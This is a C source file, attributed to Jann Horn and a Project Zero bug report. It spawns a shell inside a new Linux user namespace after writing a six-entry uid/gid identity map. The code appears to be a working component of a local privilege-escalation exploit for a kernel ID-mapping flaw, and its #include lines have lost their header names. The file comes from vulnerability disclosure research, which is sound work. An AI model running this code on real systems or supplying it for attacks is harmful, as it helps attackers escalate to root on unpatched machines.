// subshell.c // author: Jann Horn // source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712 #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include int main() { int sync_pipe[2]; char dummy; if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) { err(1, "pipe"); } pid_t child = fork(); if (child == -1) { err(1, "fork"); } if (child == 0) { close(sync_pipe[1]); if (unshare(CLONE_NEWUSER)) { err(1, "unshare userns"); } if (write(sync_pipe[0], "X", 1) != 1) { err(1, "write to sock"); } if (read(sync_pipe[0], &dummy, 1) != 1) { err(1, "read from sock"); } execl("/bin/bash", "bash", NULL); err(1, "exec"); } close(sync_pipe[0]); if (read(sync_pipe[1], &dummy, 1) != 1) { err(1, "read from sock"); } char pbuf[100]; sprintf(pbuf, "/proc/%d", (int)child); if (chdir(pbuf)) { err(1, "chdir"); } const char *id_mapping = "0 0 1\n1 1 1\n2 2 1\n3 3 1\n4 4 1\n5 5 995\n"; int uid_map = open("uid_map", O_WRONLY); if (uid_map == -1) { err(1, "open uid map"); } if (write(uid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) { err(1, "write uid map"); } close(uid_map); int gid_map = open("gid_map", O_WRONLY); if (gid_map == -1) { err(1, "open gid map"); } if (write(gid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) { err(1, "write gid map"); } close(gid_map); if (write(sync_pipe[1], "X", 1) != 1) { err(1, "write to sock"); } int status; if (wait(&status) != child) { err(1, "wait"); } return 0; }